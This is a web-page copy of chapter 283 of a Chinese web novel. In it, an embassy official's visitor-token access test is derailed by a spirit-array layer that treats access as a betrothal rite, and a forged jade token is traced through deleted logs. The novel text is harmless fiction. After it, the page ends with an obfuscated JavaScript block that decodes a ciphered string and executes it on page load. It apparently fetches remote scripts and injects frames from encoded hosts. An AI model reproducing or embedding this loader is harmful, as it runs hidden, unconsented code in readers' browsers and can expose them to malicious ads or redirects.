首页
第283章 请不要把访客权限
返回
关灯 护眼:关 字号:小

第283章 请不要把访客权限解释成订亲前置流程

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第283章请不要把访客权限解释成订亲前置流程(第1/2页)
    四张宣纸贴在文书房的墙上,墨迹干透了,边缘微微翘起,纸角在穿堂风里轻轻拍打墙面。赵星站在屋子中央,面前摆着三枚刚送来的测试访客令牌——联邦标准制式,白色卡片,磁条在侧边闪着暗光,像某种蛰伏的活物。
    “开始吧。”他把一枚令牌拍在桌面上,桌面震了一下,“你来说,我来听。”
    记录弟子咽了口唾沫,喉结上下滚动。他的目光从宣纸上扫过,纸上的墨字在烛光里微微反光:“访客持令牌至门禁,系统验证其账户权限,确认访问关系合法后,允许进入使馆区。”
    赵星点头。没有“缘由”,没有“礼数”,没有“缘法入门”。很好。
    “然后呢?”
    “访问结束后,系统回收权限,账户恢复初始状态。”
    “完美。”赵星把第二枚令牌推过去,指尖在磁条上擦过,留下一道温热的痕迹,“现在告诉我,这个流程里哪个词容易出问题。”
    记录弟子犹豫了三秒,手指在桌面上划了一下,指甲刮过木纹,发出细微的沙沙声:“访问。”
    “为什么?”
    “因为……”他抬头看赵星,瞳孔里映着窗外的天光,“访问不是单方面的。访客之所以能访,是因为主人允其入内。可令牌上只写了权限,没写谁允的。”
    赵星深吸一口气,胸腔里灌进一股凉意。他早该料到。
    “联邦的制度里,”他说,声音压得很低,“权限本身就是允诺。系统授权,就是主人同意。”
    “可系统是谁?”
    记录弟子的表情极其认真,没有半点挑衅的意思。他只是歪着头,像一只等着答案的猫。他只是在问一个在他看来理所当然的问题——系统是谁?系统的授权凭什么代表主人的意愿?
    赵星把第二枚令牌也拍在桌上,掌心震得发麻:“权限不是关系。它不是你和谁结了什么缘,而是你被允许做什么事。明白吗?”
    “明白。”记录弟子低头,却悄悄在草稿纸的边缘写下一个字——缘由。笔尖划过纸面,墨迹洇开,像一滴落进清水里的墨。
    宣纸被灵气洇了一下,那个字微微发亮,又慢慢淡下去,像呼吸一样。
    赵星没看见。
    联邦安保官推门进来,合金门框发出轻微的摩擦声。他手里拿着一份打印清单,纸张边缘还带着打印机的余温:“赵组长,第一批测试访客已经到廊桥了。半个时辰内必须完成门禁联调,否则下午的联邦例行会议要延期。”
    赵星接过清单扫了一眼。三个名字,两个是使团后勤人员,一个是联邦驻外记者的助理。都是自己人,测试环境很安全。
    “走。”
    他抓起三枚令牌走出文书房,令牌在口袋里碰撞,发出清脆的声响。门在身后关上时,墙角的宣纸边缘又浮出一行小字——无缘不入。
    字迹细如发丝,一闪即逝,像一声没入黑暗的叹息。
    ***
    门禁廊桥横跨使馆区入口,两侧是联邦标准合金立柱,顶部却悬着一圈天衡宗阵纹。联邦设备与宗门阵法的连接处裸露着线缆和玉片,像两种文明在焊接处留下的伤疤——铜线缠绕着玉髓,焊锡滴在符纸上,凝固成灰黑色的硬块。
    赵星把第一枚令牌递给测试访客——后勤组的小王,穿着联邦制服,领口扣得一丝不苟,表情紧张得像要参加面试。他的手指在接过令牌时微微发抖。
    “刷。”
    小王把令牌贴在门禁读卡器上,金属碰撞发出清脆的“咔嗒”声。联邦终端亮起绿灯,屏幕上的字跳了一下:“访客编号F-0037,账户已验证。访问已授权。”
    赵星松了口气,肩膀沉下来。
    下一秒,廊桥顶部的阵纹亮了。
    一圈淡金色光晕从玉片中心扩散开来,像石子投入水面激起的涟漪。光晕沿着合金立柱向下蔓延,在门禁读卡器上方凝成一行灵气文字——临时通行之缘已备,请主人确认是否愿结。字迹悬浮在空中,边缘泛着微光,像萤火虫的尾迹。
    “什么?”赵星盯着那行字,瞳孔猛地收缩。
    礼房执事从廊桥另一头急匆匆赶来,脚步声在合金地板上回荡。他手里捧着一本厚礼簿,书页翻动时发出干燥的沙沙声:“赵组长!门禁阵法检测到访客令牌,礼制系统自动补全了临时结契流程——请确认访客与使馆的通行关系性质,是短期互认、单方授权还是临时道侣契前置?”
    “临时道侣契前置?”赵星的声音拔高了半个音阶,尾音在廊桥里回荡,“我让你确认门禁权限,你给我弹出订亲流程?”
    “系统不是故意的,”礼房执事翻着礼簿,语气极其无辜,手指在书页上划过,“阵法检测到访客令牌上只有权限,没有来源。没有来源的访客就是无名闯入,无名闯入不能进使馆——所以它自动补了一条礼数来源,把临时通行解释成……临时结契。”
    联邦终端忽然又弹出一条确认框,屏幕的光映在赵星脸上:“是否允许共享基础生活区权限?”
    同一瞬间,阵纹闪烁,礼簿上浮出另一行字,墨迹像活物一样在纸面上蠕动:“若确认临时道侣契,则双方共享洞府基础禁制。”
    赵星看看联邦终端,又看看礼簿上的灵气文字。终端屏幕的冷光与阵纹的金光在他脸上交错,像两股水流在打架。
    “记录弟子!”他回头吼了一声,声音在廊桥里撞出回音,“你给我解释一下,什么叫临时道侣契前置?”
    记录弟子小跑过来,脸色发白,额头上沁出一层细汗:“我……我只是在草稿上写了‘缘由’两个字,没让它补全成结契啊!”
    “可它补了。”
    赵星低头看门禁读卡器。上面同时显示着联邦确认框和宗门阵纹,两条系统各自严肃,共同把一个简单的门禁测试推成了半场订亲仪式。联邦终端的绿灯和阵纹的金光交相辉映,像一场荒诞的婚礼彩排。
    小王站在中间,举着令牌,表情已经从不紧张变成了想辞职。他的嘴唇微微张开,又合上,像一条离水的鱼。
    “取消。”赵星按下联邦终端的取消键,指尖在屏幕上按出一个发白的印子。
    阵纹没动。
    他又按了一次,手指用力到指节发白。阵纹闪烁了一下,弹出新的灵气文字:“临时结契尚未完成,无法提前终止。请先确认通行关系性质。”
    “我确认——访问!就是访问!不是结契不是缘法不是道侣前置!”
    阵纹沉默了三秒,然后显示:“访问关系性质不完整。请补充访客来源或主人意愿。”字迹在空气中微微颤动,像在等待一个答案。
    赵星盯着那行字,忽然意识到问题出在哪——联邦的权限系统只认“能做什么”,而灵气兼容模式非要补全“为什么能做”。没有原因的访问,在修仙社会的逻辑里就是闯入。像一个人站在门口,却说不清自己为什么来。
    他深吸一口气,空气里混杂着金属和符纸的气味。他转向礼房执事:“手动输入——访客来源:联邦使团后勤组。主人意愿:赵星本人授权通行。”
    礼房执事在礼簿上写了几笔,笔尖划过纸面,发出沙沙的声响。阵纹终于缓缓暗了下去,像一只慢慢合上的眼睛。联邦终端弹出一条记录:“访问已确认。备注:临时通行,非道侣关系。”
    小王刷卡进门,脚步虚浮,鞋底在地板上擦出细微的声响。
    赵星靠在合金立柱上,金属的凉意透过衣料渗进后背。额头冒出一层细汗,顺着眉骨滑下来。第二枚令牌还在他口袋里,隔着布料硌着大腿,他忽然不想测试了。
    老周的声音从耳麦里传来,压得很低,像怕被谁听见:“赵星,你看一眼联邦终端日志。”
    赵星掏出便携终端,屏幕的光映在他脸上。他调出门禁系统日志,手指在屏幕上滑动。上面显示着三次刷卡记录——小王一次,另外两个测试访客各一次。但在第三条记录下面,还有一行小字,颜色发灰,像是被系统自动归档的,像被遗忘在角落里的灰尘。
    (本章未完,请点击下一页继续阅读)第283章请不要把访客权限解释成订亲前置流程(第2/2页)
    “非测试账户握手记录。时间:你刷第一枚令牌前十七秒。备注:玉符访客。”
    赵星的手指停在屏幕上,指尖微微发凉。
    “测试名单上只有三个人。”老周的声音更低了,像一根绷紧的弦,“但刚才门禁记录了第四枚令牌。”
    ***
    临时接待厅的门被赵星一脚踹开,门板撞在墙上,发出沉闷的响声。
    联邦异见者代表正坐在沙发上喝茶,茶杯里的热气袅袅升起。看见他进来,放下茶杯,杯底在茶几上磕出清脆的声响:“赵组长,你脸色不太好。”
    “封停廊桥。”赵星没理他,直接对安保官说,声音里带着压不住的急促,“所有测试访客交出令牌,逐一核验。”
    异见者代表站起来,沙发弹簧发出轻微的吱呀声:“什么意思?又开始查人?你们修仙界是不是有个传统,每隔三天搞一次禁足?”
    “这不是禁足,是安全排查。”赵星把终端屏幕亮给他看,屏幕的光刺进他的眼睛,“门禁系统记录了一枚不在测试名单上的令牌。”
    “那跟我有什么关系?”
    “你坐在这里,而第四枚令牌的访问路径绕过了安保官,直接挂到了你账户的边缘。”
    异见者代表的脸色变了。他脸上的血色褪去,嘴唇微微发白。
    老周从走廊另一头走进来,脚步声在空荡的走廊里回荡。他手里拿着一枚玉符——淡青色,表面没有门派印记,只有一行联邦格式的编号,字体标准得像机器打印的,像某种冰冷的签名。
    “找到了。”他把玉符放在桌上,玉器与桌面碰撞发出清脆的声响,“藏在廊桥夹层里,阵纹覆盖的区域。它没刷卡,但阵法承认它‘有缘来访’。”
    赵星拿起玉符翻看。玉质冰凉,触感光滑。背面刻着一行编号——F-0021,过期。签发日期是联邦使团抵达当天。
    “过期编号。”老周说,声音里带着一丝紧绷,“签发人显示是你。”
    赵星的手指僵住了,指尖的触感忽然变得陌生。
    “我没签发过这枚令牌。”他说得很慢,一字一顿,像在确认每一个字的分量,“使团抵达那天,我连访客系统都没碰过。”
    “我知道。”老周把玉符翻过来,指着编号边缘的一圈细纹,“古法派的工艺。他们把玉符伪装成联邦令牌,用你的编号做掩护,骗过阵法的来源验证。”
    礼房执事凑过来看了一眼,脸色发白,嘴唇微微颤抖:“这纹路……是古法派常用的传讯手法。但我不敢当场定罪,没有证据。”
    “证据在这。”老周调出门禁日志,屏幕的光映在他脸上,“第四枚令牌的访问记录显示,它在廊桥里待了四十七秒,和异见者代表的账户发生了两次数据握手。不是物理接触,是信息层面的。”
    异见者代表猛地站起来,椅子向后滑出半米:“我没允许任何人接触我的账户!”
    “它不需要你允许。”赵星盯着玉符上的编号,声音平静得像一潭死水,“它只需要系统承认它‘有缘来访’。”
    屋子里安静了几秒。空气凝固了,只有墙上的钟在滴答作响。
    赵星忽然觉得那四张宣纸上的词很可笑。账户、权限、访问、恢复——他逼着记录弟子背了三天,以为只要把术语规范化,就能堵住灵气兼容模式的语言漏洞。
    可古法派根本没碰那些词。
    他们只用了两个字——有缘。
    “记录弟子。”赵星回头。
    记录弟子站在门口,手里还攥着那张草稿纸,纸张边缘被汗水浸湿。边缘的“缘由”两个字已经被灵气洇得模糊不清,像被水泡过的墨迹。
    “你写‘缘由’的时候,”赵星问,声音很轻,“想过它会变成什么吗?”
    记录弟子摇头,喉结上下滚动:“我只是觉得……访客不能无缘无故进门。”
    “可你给了它一个缘。”
    赵星把玉符放回桌上,玉器与桌面碰撞发出沉闷的声响。他看着那行过期的编号,数字在灯光下微微反光。签发人是他,日期是使团抵达当天——那天他正忙着处理第一次会晤的烂摊子,根本没碰过访客系统。
    “老周,查一下使团抵达当天的安保日志。我要知道这个编号是谁生成的。”
    “已经在查了。”老周的手指在终端上飞速滑动,屏幕的光在他脸上跳跃,“但有个坏消息——那天的日志被人删过一段。”
    “删了多少?”
    “正好是你签发这个编号的时间段。”
    赵星靠在椅背上,椅背发出轻微的吱呀声。他盯着天花板的阵纹,淡金色的光芒还在缓缓流转,像一只闭不上的眼睛,像某种无声的注视。
    “所以现在的情况是,”他慢慢说,声音在空荡的房间里回荡,“四词规范没有失败。它太干净了,干净到古法派把‘访问’伪装成中性流程,直接绕过了所有语义审查。”
    “对。”老周说,声音里带着一丝苦涩,“而且他们用的是你的身份。”
    异见者代表重新坐下,沙发弹簧发出轻微的声响。他端起茶杯,杯沿碰到嘴唇,语气忽然平静下来:“赵组长,我建议你现在想清楚一件事——你追查的到底是权限语言漏洞,还是你们修仙界内部有人想借联邦的手搞事情。”
    赵星看了他一眼,没说话。他的目光落在那枚玉符上,边缘的细纹正在慢慢消散,像冰在阳光下融化。
    他低头看那枚玉符。编号在灯光下微微反光,边缘的细纹像是某种符咒的残余,正在慢慢消散,像一声没有说出口的话。
    “记录弟子。”他忽然开口,声音在安静的房间里显得格外清晰,“回去把那四张宣纸撕了。”
    “啊?”
    “重写。第五个词——来源。”
    赵星站起来,椅子向后滑出半米。他把玉符装进口袋,玉质隔着布料贴着大腿,带着一丝凉意:“访问必须有来源。权限必须有签发人。账户必须有验证。恢复必须有记录。”
    他走到门口,回头看了一眼异见者代表。对方端着茶杯,杯沿的蒸汽袅袅升起,表情平静得像什么都没发生过。
    “还有,告诉你们那位古法派的朋友——下次想混进使馆,别用我的名字。”
    门在他身后关上,发出沉闷的声响。
    老周的终端忽然响了一声,提示音在安静的走廊里格外刺耳。他低头看了一眼,脸色变了。
    “赵星。”
    “嗯?”
    “使团抵达当天的日志,被删的那段……我找到了备份。”
    “然后?”
    “签发人确实是你。”老周顿了顿,声音里带着一丝不确定,“但签发时间是你离开文书房去接人的那段时间。那段时间里,你的终端离线了十七分钟。”
    赵星停下脚步。走廊里的风从尽头吹来,带着一丝凉意。
    十七分钟。够一个古法派修士用玉符复制他的身份信息,生成一枚假令牌,再删掉日志。
    可问题是——他们怎么知道他会在那个时间离开文书房?
    他回头看了一眼接待厅。门缝里透出一线灯光,异见者代表还在喝茶,茶杯里冒出的热气在灯光下袅袅上升。表情平静得像什么都没发生过。
    赵星忽然觉得,自己可能从一开始就找错了方向。
    他以为问题出在语言上。
    可古法派根本没在意他说了什么——他们在意的,是他什么时候不在。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();